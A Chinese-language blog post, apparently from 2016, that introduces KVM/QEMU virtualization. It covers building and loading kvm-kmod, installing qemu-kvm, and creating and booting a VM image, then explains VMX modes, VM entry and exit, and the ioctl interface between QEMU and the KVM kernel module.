KVM作为虚拟机监控器VMM,分为两部分,分别是运行于kernel模式的KVM内核模块(kvm-kmod)和运行于user模式的Qemu模块。KVM的具体实现下文会作简单介绍。先来看kvm-kmod部分,linux kernel从2.6版本开始便开始集成了KVM模块,如果你只想简单的使用KVM,只需简单编译和配置内科即可使用KVM的一切特性,这里不作介绍,如果你想基于KVM做开发,还是老老实实去kvm官网下载,自己源码安装吧,在选择KVM版本之前,可以打开任意一个版本例如kvm-kmod-3.8里面的configure文件,可看到以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# minimum is 2.6.x
min_kernel_version=24
# maximum is 3.x
max_kernel_version=8
kernel_version=`echo $kernel_version_str | sed 's/\([0-9]*\)\.[0-9]*\.[0-9]*.*/\1/'`
kernel_patchlevel=`echo $kernel_version_str | sed 's/[0-9]*\.\([0-9]*\)\.[0-9]*.*/\1/'`
kernel_sublevel=`echo $kernel_version_str | sed 's/[0-9]*\.[0-9]*\.\([0-9]*\).*/\1/'`
if [ ! -n "$force_build" ]; then
if [ $kernel_version -eq 2 ] && [ $kernel_sublevel -lt $min_kernel_version ]; then
echo
echo "Error: kernel is too old for this kvm-kmod release."
echo
exit 1
elif [ $kernel_version -eq 3 ] && [ $kernel_patchlevel -gt $max_kernel_version ]; then
echo
echo "Error: kernel is more recent than KVM modules delivered with this release."
echo "You probably want to use the KVM support that is already part of your kernel."
echo
exit 1
fi
fi

这段代码仔细看看,就不难看出kvm-kmod版本的每个数字和kernel版本号都是有关联的,kvm-kmod毕竟是一个内核模块,必须去适应内核,大家如果在安装kvm-kmod时出现kernel is too old 或者kernel is more recent等错误就应该静下来好好看看这段代码了。下载后匹配的kvm-kmod后,安装很简单,只需要执行./configure make $$ make install即可

安装之后,有两个模块kvm.ko kvm-intel.ko便会生成在./kvm/x86文件夹中,执行insmod kvm.ko kvm-intel.ko 或者modprobe kvm.ko kvm-intel.ko,便成功将kvm模块加载到内核了,
如果期间出现错误,可执行lsmod | grep kvm 看kvm是否成功加载,或执行dmesg | grep kvm查看具体执行信息。
这里强调,kvm-kmod是内核的一个模块,可随时加载随时删除,因此基于kvm的开发,修改kvm的源码之后,编译与运行起来都很方便。

qemu-kvm是为兼容kvm基于qemu模拟器开发出来的一个分支版本,安装qemu-kvm之前,检查是否有以下依赖包: linux-kernel-headers zlib1g-dev libglib2.0-dev,如果没有apt-get install一下。
之后,执行:

./configure --prefix=/usr/local/kvm 
make && make install

即可,qemu-kvm便会安装到/usr/local/kvm路径下,安装成功后,会在此路径的/bin文件夹下出现qemu-img, qemu-system-x86_64等二进制文件,自己也可以选择将这些二进制文件拷贝到根目录下的/bin文件夹中,这样在执行这些二进制文件的时候就不用加前缀/usr/local/kvm/bin了。
执行:

/usr/local/kvm/bin/qemu-img create -f qcow2 imgname.img 10G 

创建一个qcow2格式的空虚拟机img文件
执行:

/usr/local/kvm/bin/qemu-system-x86_64 -hda imgname.img -m 1024 -vnc :1 -cdrom imgname.iso -boot d     

将imgname.iso系统安装到imgname.img中
之后利用xvnc4viewer等vnc软件连接虚拟机完成安装过程,安装完后,执行:

/usr/local/kvm/bin/qemu-system-x86_64 -hda imgname.img -vnc :1 -m 1024 -monitor stdio  

登陆到虚拟机。具体细节可自行摸索。

0X02 KVM/Qemu原理概览

说说kvm与qemu的关系,借用实验室某大神给的一张图:

kvm-qemu-rela

可以看到,这里有三种模式,第一是客户机执行时所处的Guest模式,也就是虚拟化技术VMX中的非Root模式;第二是KVM运行的Kernel模式,即VMX中的Root模式,此时特权级为0;第三是Qemu运行的User模式,处于VMX Root模式中的特权级3.有关VMX技术,以及非Root模式如何通过VM Exit进入到Root模式,Root模式如何通过VM Entry进入到非Root模式,可参考Intel系统编程手册。

简单说说Qemu所在的User模式如何与KVM所在的kernel模式交互,虚拟化中的VT-x技术的支持,使得KVM可以虚拟出多个虚拟处理器VCPU, 而这些VCPU对应每一个Qemu线程,VCPU的创建、初始化、运行以及退出都是在Qemu线程的上下文中进行,这些过程都是通过Qemu向KVM发送一个I/O通道管理函数ioctl来完成,以qemu-kvm-1.1.2为例,qemu-kvm中首先会在./linux-header/linux/kvm.h注册相应的ioctl,如#define KVM_GET_REGS _IOR(KVMIO, 0x81, struct kvm_regs),各参数含义可以具体去了解ioctl的实现方式,之后调用kvm_vcpu_ioctl(env,KVM_GET_REGS,&regs)(有些也会调用kvm_vm_ioctl),KVM-Kmod中也会注册相应的ioctl,之后真正执行时会调用KVM_Kmod的相应函数,一般会在kvm_main.c文件中定义。如果想自定义自己的函数,需要分别在qemu-kvm与kvm-kmod注册相应的ioctl,只要编号不重复即可,注册后再调用自己定义的函数。

备注:Qemu 线程以 ioctl 的方式向 KVM 内核模块发出指 示,后者执行 VM entry 操作,将处理器由 kernel 模式切换到 Guest 模式,中止宿主机软件, 转而运行客户软件。注意,宿主机软件被中止时,正处于 Qemu 线程上下文,且正在执行 ioctl 系统调用的 kernel 模式处理程序。客户软件在运行过程中,如发生异常或外部中断等事件, 或执行 I/O 操作,可能导致 VM exit,将处理器状态由 Guest 模式切换回 Kernel 模式。KVM 内核模块检查发生 VM exit 的原因,如果 VM exit 由于 I/O 操作导致,则执行系统调用返回操 作,将 I/O 操作交给处于 User 模式的 Qemu 线程来处理,Qemu 线程在处理完 I/O 操作后再 次执行 ioctl,指示 KVM 切换处理器到 Guest 模式,恢复客户软件的运行;如果 VM exit 由于 其它原因导致,则由 KVM 内核模块负责处理,并在处理后切换处理器到 Guest 模式,恢复 客户机的运行。

作者@Diting0x

于2016年1月1日West Lafayette, Lawson Computer Science Building.


转载本文请务必注明,文章出处:《KVM/QEMU虚拟化简介》与作者信息:Diting0x

有心智的机器

当某个系统能够正常运转时,不要扰乱它;要以它为基层来构建。在自然体系中,改良就是在现存的调试好的系统上打补丁。原先的层级继续工作,甚至不会注意到(或不必注意到)其上还有新的层级。

Read More

新生物文明与蜂群思维

新生物文明

机器,正在生物化;而生物,正在工程化。
这种趋势正验证着某些古老的隐喻–将机器比喻为生物,将生物比喻为机器。哪些比喻由来已久,古老到第一台机器诞生之时。如今,哪些久远的隐喻不再只是诗意的遐想,它们正在变为现实–一种积极有益的现实。

Read More

电影无人区的思考

从大学起就听说过宁浩的无人区,那时候还是2009年,就期待着这部想像中的‘黑色幽默’。可是时间一晃,便迟到了四年,也早耗费了我整个大学时光。不知不觉,随我到了北京,13年上映,那时便立马看了首映。

Read More